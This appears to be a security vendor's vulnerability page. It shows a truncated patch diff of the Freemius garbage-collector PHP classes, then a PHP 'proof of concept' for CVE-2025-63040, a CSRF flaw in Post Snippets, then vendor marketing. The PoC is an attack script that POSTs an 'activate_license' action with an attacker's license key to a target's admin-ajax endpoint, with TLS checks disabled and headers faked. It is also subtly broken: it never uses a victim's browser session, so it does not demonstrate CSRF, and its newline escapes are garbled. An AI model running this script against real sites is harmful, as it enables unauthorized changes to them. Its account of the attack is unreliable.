-                $this->_gc_timestamp[ $slug ] :
-                // This should never happen, but if it does, let's assume the product is not expired.
-                time();
-        }
-    }
-
-    class FS_User_Garbage_Collector implements FS_I_Garbage_Collector {
-        private $_accounts;
-
-        private $_types;
-
-        function __construct( FS_Options $_accounts, array $types ) {
-            $this->_accounts = $_accounts;
-            $this->_types    = $types;
-        }
-
-        function clean() {
-            $users = Freemius::get_all_users();
-
-            $user_has_install_map = $this->get_user_has_install_map();
-
-            if ( count( $users ) === count( $user_has_install_map ) ) {
-                return false;
-            }
-
-            $products_user_id_license_ids_map = $this->_accounts->get_option( 'user_id_license_ids_map', array() );
-
-            $has_updated_option = false;
-
-            foreach ( $users as $user_id => $user ) {
-                if ( ! isset( $user_has_install_map[ $user_id ] ) ) {
-                    unset( $users[ $user_id ] );
-
-                    foreach( $products_user_id_license_ids_map as $product_id => $user_id_license_ids_map ) {
-                        unset( $user_id_license_ids_map[ $user_id ] );
-
-                        if ( empty( $user_id_license_ids_map ) ) {
-                            unset( $products_user_id_license_ids_map[ $product_id ] );
-                        } else {
-                            $products_user_id_license_ids_map[ $product_id ] = $user_id_license_ids_map;
-                        }
-                    }
-
-                    $this->_accounts->set_option( 'users', $users );
-                    $this->_accounts->set_option( 'user_id_license_ids_map', $products_user_id_license_ids_map );
-
-                    $has_updated_option = true;
-                }
-            }
-
-            return $has_updated_option;
-        }
-
-        private function get_user_has_install_map() {
-            $user_has_install_map = array();
-
-            foreach ( $this->_types as $product_type ) {
-                $option_name = ( WP_FS__MODULE_TYPE_PLUGIN !== $product_type ) ?
-                    "{$product_type}_sites" :
-                    'sites';
-
-                $installs = $this->_accounts->get_option( $option_name, array() );
-
-                foreach ( $installs as $install ) {
-                    $user_has_install_map[ $install->user_id ] = true;
-                }
-            }
-
-            return $user_has_install_map;
-        }
-    }
-
-    // Main entry-level class.
-    class FS_Garbage_Collector implements FS_I_Garbage_Collector {
-        /**
-         * @var FS_Garbage_Collector
-         * @since 2.6.0
-         */
-        private static $_instance;
-
-        /**
-         * @return FS_Garbage_Collector
-         */
-        static function instance() {
-            if ( ! isset( self::$_instance ) ) {
-                self::$_instance = new self();
-            }
-
-            return self::$_instance;
-        }
-
-        #endregion
-
-        private function __construct() {
-        }
-
-        function clean() {
-            $_accounts = FS_Options::instance( WP_FS__ACCOUNTS_OPTION_NAME, true );
-
-            $products_cleaners = $this->get_product_cleaners( $_accounts );
-
-            $has_cleaned = false;
-
-            foreach ( $products_cleaners as $products_cleaner ) {
-                if ( $products_cleaner->clean() ) {
-                    $has_cleaned = true;
-                }
-            }
-
-            if ( $has_cleaned ) {
-                $user_cleaner = new FS_User_Garbage_Collector(
-                    $_accounts,
-                    array_keys( $products_cleaners )
-                );
-
-                $user_cleaner->clean();
-            }
-
-            // @todo - We need a garbage collector for `all_plugins` and `active_plugins` (and variants of themes).
-
-            // Always store regardless of whether there were cleaned products or not since during the process, the logic may set the last load timestamp of some products.
-            $_accounts->store();
-        }
-
-        /**
-         * @param FS_Options $_accounts
-         *
-         * @return FS_I_Garbage_Collector[]
-         */
-        private function get_product_cleaners( FS_Options $_accounts ) {
-            /**
-             * @var FS_I_Garbage_Collector[] $products_cleaners
-             */
-            $products_cleaners = array();
-
-            $products_cleaners[ WP_FS__MODULE_TYPE_PLUGIN ] = new FS_Product_Garbage_Collector(
-                $_accounts,
-                array(
-                    'sites',
-                    'plans',
-                    'plugins',
-                ),
-                WP_FS__MODULE_TYPE_PLUGIN
-            );
-
-            $products_cleaners[ WP_FS__MODULE_TYPE_THEME ] = new FS_Product_Garbage_Collector(
-                $_accounts,
-                array(
-                    'theme_sites',
-                    'theme_plans',
-                    'themes',
-                ),
-                WP_FS__MODULE_TYPE_THEME
-            );
-
-            return $products_cleaners;
-        }
+<?php
+    /**
+     * @package   Freemius
+     * @copyright Copyright (c) 2015, Freemius, Inc.
+     * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3
+     * @since     2.6.0
+     */
+
+    if ( ! defined( 'ABSPATH' ) ) {
+        exit;
+    }
+
+    interface FS_I_Garbage_Collector {
+        function clean();
+    }
+
+    class FS_Product_Garbage_Collector implements FS_I_Garbage_Collector {
+        /**
+         * @var FS_Options
+         */
+        private $_accounts;
+
+        /**
+         * @var string[]
+         */
+        private $_options_names;
+
+        /**
+         * @var string
+         */
+        private $_type;
+
+        /**
+         * @var string
+         */
+        private $_plural_type;
+
+        /**
+         * @var array<string, int> Map of product slugs to their last load timestamp, only for products that are not active.
+         */
+        private $_gc_timestamp;
+
+        /**
+         * @var array<string, array<string, mixed>> Map of product slugs to their data, as stored by the primary storage of `Freemius` class.
+         */
+        private $_storage_data;
+
+        function __construct( FS_Options $_accounts, $option_names, $type ) {
+            $this->_accounts      = $_accounts;
+            $this->_options_names = $option_names;
+            $this->_type          = $type;
+            $this->_plural_type   = ( $type . 's' );
+        }
+
+        function clean() {
+            $this->_gc_timestamp  = $this->_accounts->get_option( 'gc_timestamp', array() );
+            $this->_storage_data  = $this->_accounts->get_option( $this->_type . '_data', array() );
+
+            $options            = $this->load_options();
+            $has_updated_option = false;
+
+            $filtered_products         = $this->get_filtered_products();
+            $products_to_clean         = $filtered_products['products_to_clean'];
+            $active_products_by_id_map = $filtered_products['active_products_by_id_map'];
+
+            foreach( $products_to_clean as $product ) {
+                $slug = $product->slug;
+
+                // Clear the product's data.
+                foreach( $options as $option_name => $option ) {
+                    $updated = false;
+
+                    /**
+                     * We expect to deal with only array like options here.
+                     * @todo - Refactor this to create dedicated GC classes for every option, then we can make the code mode predictable.
+                     *       For example, depending on data integrity of `plugins` we can still miss something entirely in the `plugin_data` or vice-versa.
+                     *       A better algorithm is to iterate over all options individually in separate classes and check against primary storage to see if those can be garbage collected.
+                     *       But given the chance of data integrity issue is very low, we let this run for now and gather feedback.
+                     */
+                    if ( ! is_array( $option ) ) {
+                        continue;
+                    }
+
+                    if ( array_key_exists( $slug, $option ) ) {
+                        unset( $option[ $slug ] );
+                        $updated = true;
+                    } else if ( array_key_exists( "{$slug}:{$this->_type}", $option ) ) { /* admin_notices */
+                        unset( $option[ "{$slug}:{$this->_type}" ] );
+                        $updated = true;
+                    } else if ( isset( $product->id ) && array_key_exists( $product->id, $option ) ) { /* all_licenses, add-ons, and id_slug_type_path_map */
+                        $is_inactive_by_id   = ! isset( $active_products_by_id_map[ $product->id ] );
+                        $is_inactive_by_slug = (
+                            'id_slug_type_path_map' === $option_name &&
+                            (
+                                ! isset( $option[ $product->id ]['slug'] ) ||
+                                $slug === $option[ $product->id ]['slug']
+                            )
+                        );
+
+                        if ( $is_inactive_by_id || $is_inactive_by_slug ) {
+                            unset( $option[ $product->id ] );
+                            $updated = true;
+                        }
+                    } else if ( /* file_slug_map */
+                        isset( $product->file ) &&
+                        array_key_exists( $product->file, $option ) &&
+                        $slug === $option[ $product->file ]
+                    ) {
+                        unset( $option[ $product->file ] );
+                        $updated = true;
+                    }
+
+                    if ( $updated ) {
+                        $this->_accounts->set_option( $option_name, $option );
+
+                        $options[ $option_name ] = $option;
+
+                        $has_updated_option = true;
+                    }
+                }
+
+                // Clear the product's data from the primary storage.
+                if ( isset( $this->_storage_data[ $slug ] ) ) {
+                    unset( $this->_storage_data[ $slug ] );
+                    $has_updated_option = true;
+                }
+
+                // Clear from GC timestamp.
+                // @todo - This perhaps needs a separate garbage collector for all expired products. But the chance of left-over is very slim.
+                if ( isset( $this->_gc_timestamp[ $slug ] ) ) {
+                    unset( $this->_gc_timestamp[ $slug ] );
+                    $has_updated_option = true;
+                }
+            }
+
+            $this->_accounts->set_option( 'gc_timestamp', $this->_gc_timestamp );
+            $this->_accounts->set_option( $this->_type . '_data', $this->_storage_data );
+
+            return $has_updated_option;
+        }
+
+        private function get_all_option_names() {
+            return array_merge(
+                array(
+                    'admin_notices',
+                    'updates',
+                    'all_licenses',
+                    'addons',
+                    'id_slug_type_path_map',
+                    'file_slug_map',
+                ),
+                $this->_options_names
+            );
+        }
+
+        private function get_products() {
+            $products = $this->_accounts->get_option( $this->_plural_type, array() );
+
+            // Fill any missing product found in the primary storage.
+            // @todo - This wouldn't be needed if we use dedicated GC design for every options. The options themselves would provide such information.
+            foreach( $this->_storage_data as $slug => $product_data ) {
+                if ( ! isset( $products[ $slug ] ) ) {
+                    $products[ $slug ] = (object) $product_data;
+                }
+
+                // This is needed to handle a scenario in which there are duplicate sets of data for the same product, but one of them needs to be removed.
+                $products[ $slug ] = clone $products[ $slug ];
+
+                // The reason for having the line above. This also handles a scenario in which the slug is either empty or not empty but incorrect.
+                $products[ $slug ]->slug = $slug;
+            }
+
+            $this->update_gc_timestamp( $products );
+
+            return $products;
+        }
+
+        private function get_filtered_products() {
+            $products_to_clean         = array();
+            $active_products_by_id_map = array();
+
+            $products = $this->get_products();
+
+            foreach ( $products as $slug => $product_data ) {
+                if ( ! is_object( $product_data ) ) {
+                    continue;
+                }
+
+                if ( $this->is_product_active( $slug ) ) {
+                    $active_products_by_id_map[ $product_data->id ] = true;
+                    continue;
+                }
+
+                $is_addon = ( ! empty( $product_data->parent_plugin_id ) );
+
+                if ( ! $is_addon ) {
+                    $products_to_clean[] = $product_data;
+                } else {
+                    /**
+                     * If add-on, add to the beginning of the array so that add-ons are removed before their parent. This is to prevent an unexpected issue when an add-on exists but its parent was already removed.
+                     */
+                    array_unshift( $products_to_clean, $product_data );
+                }
+            }
+
+            return array(
+                'products_to_clean'         => $products_to_clean,
+                'active_products_by_id_map' => $active_products_by_id_map,
+            );
+        }
+
+        /**
+         * @param string $slug
+         *
+         * @return bool
+         */
+        private function is_product_active( $slug ) {
+            $instances = Freemius::_get_all_instances();
+
+            foreach ( $instances as $instance ) {
+                if ( $instance->get_slug() === $slug ) {
+                    return true;
+                }
+            }
+
+            $expiration_time = fs_get_optional_constant( 'WP_FS__GARBAGE_COLLECTOR_EXPIRATION_TIME_SECS', ( WP_FS__TIME_WEEK_IN_SEC * 4 ) );
+
+            if ( $this->get_last_load_timestamp( $slug ) > ( time() - $expiration_time ) ) {
+                // Last activation was within the last 4 weeks.
+                return true;
+            }
+
+            return false;
+        }
+
+        private function load_options() {
+            $options      = array();
+            $option_names = $this->get_all_option_names();
+
+            foreach ( $option_names as $option_name ) {
+                $options[ $option_name ] = $this->_accounts->get_option( $option_name, array() );
+            }
+
+            return $options;
+        }
+
+        /**
+         * Updates the garbage collector timestamp, only if it was not already set by the product's primary storage.
+         *
+         * @param array $products
+         *
+         * @return void
+         */
+        private function update_gc_timestamp( $products ) {
+            foreach ($products as $slug => $product_data) {
+                if ( ! is_object( $product_data ) && ! is_array( $product_data ) ) {
+                    continue;
+                }
+
+
+                // If the product is active, we don't need to update the gc_timestamp.
+                if ( isset( $this->_storage_data[ $slug ]['last_load_timestamp'] ) ) {
+                    continue;
+                }
+
+                // First try to check if the product is present in the primary storage. If so update that.
+                if ( isset( $this->_storage_data[ $slug ] ) ) {
+                    $this->_storage_data[ $slug ]['last_load_timestamp'] = time();
+                } else if ( ! isset( $this->_gc_timestamp[ $slug ] ) ) {
+                    // If not, fallback to the gc_timestamp, but we don't want to update it more than once.
+                    $this->_gc_timestamp[ $slug ] = time();
+                }
+            }
+        }
+
+        private function get_last_load_timestamp( $slug ) {
+            if ( isset( $this->_storage_data[ $slug ]['last_load_timestamp'] ) ) {
+                return $this->_storage_data[ $slug ]['last_load_timestamp'];
+            }
+
+            return isset( $this->_gc_timestamp[ $slug ] ) ?
+                $this->_gc_timestamp[ $slug ] :
+                // This should never happen, but if it does, let's assume the product is not expired.
+                time();
+        }
+    }
+
+    class FS_User_Garbage_Collector implements FS_I_Garbage_Collector {
+        private $_accounts;
+
+        private $_types;
+
+        function __construct( FS_Options $_accounts, array $types ) {
+            $this->_accounts = $_accounts;
+            $this->_types    = $types;
+        }
+
+        function clean() {
+            $users = Freemius::get_all_users();
+
+            $user_has_install_map = $this->get_user_has_install_map();
+
+            if ( count( $users ) === count( $user_has_install_map ) ) {
+                return false;
+            }
+
+            $products_user_id_license_ids_map = $this->_accounts->get_option( 'user_id_license_ids_map', array() );
+
+            $has_updated_option = false;
+
+            foreach ( $users as $user_id => $user ) {
+                if ( ! isset( $user_has_install_map[ $user_id ] ) ) {
+                    unset( $users[ $user_id ] );
+
+                    foreach( $products_user_id_license_ids_map as $product_id => $user_id_license_ids_map ) {
+                        unset( $user_id_license_ids_map[ $user_id ] );
+
+                        if ( empty( $user_id_license_ids_map ) ) {
+                            unset( $products_user_id_license_ids_map[ $product_id ] );
+                        } else {
+                            $products_user_id_license_ids_map[ $product_id ] = $user_id_license_ids_map;
+                        }
+                    }
+
+                    $this->_accounts->set_option( 'users', $users );
+                    $this->_accounts->set_option( 'user_id_license_ids_map', $products_user_id_license_ids_map );
+
+                    $has_updated_option = true;
+                }
+            }
+
+            return $has_updated_option;
+        }
+
+        private function get_user_has_install_map() {
+            $user_has_install_map = array();
+
+            foreach ( $this->_types as $product_type ) {
+                $option_name = ( WP_FS__MODULE_TYPE_PLUGIN !== $product_type ) ?
+                    "{$product_type}_sites" :
+                    'sites';
+
+                $installs = $this->_accounts->get_option( $option_name, array() );
+
+                foreach ( $installs as $install ) {
+                    $user_has_install_map[ $install->user_id ] = true;
+                }
+            }
+
+            return $user_has_install_map;
+        }
+    }
+
+    // Main entry-level class.
+    class FS_Garbage_Collector implements FS_I_Garbage_Collector {
+        /**
+         * @var FS_Garbage_Collector
+         * @since 2.6.0
+         */
+        private static $_instance;
+
+        /**
+         * @return FS_Garbage_Collector
+         */
+        static function instance() 

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-63040 - Post Snippets <= 4.0.11 - Cross-Site Request Forgery
<?php
/**
 * Proof of Concept for CVE-2025-63040
 * This script demonstrates CSRF vulnerability in Post Snippets plugin
 * Requires an authenticated administrator session
 */

$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';

// Malicious CSRF payload to activate a license
$csrf_payload = array(
    'action' => 'fs_action',
    'fs_action' => 'activate_license',
    'license_key' => 'ATTACKER_LICENSE_KEY',
    'plugin_id' => '12345',
    'user_id' => '1',
    'is_marketing_allowed' => 'false',
    'is_extensions_tracking_allowed' => 'false',
    'is_diagnostic_tracking_allowed' => 'false'
);

// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $csrf_payload);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Set headers to mimic legitimate request
$headers = array(
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Content-Type: application/x-www-form-urlencoded',
    'X-Requested-With: XMLHttpRequest'
);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

// Execute the CSRF attack
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check response
if ($http_code === 200) {
    echo "CSRF attack successful. License activation attempted.n";
    echo "Response: " . htmlspecialchars($response) . "n";
} else {
    echo "CSRF attack failed with HTTP code: $http_coden";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School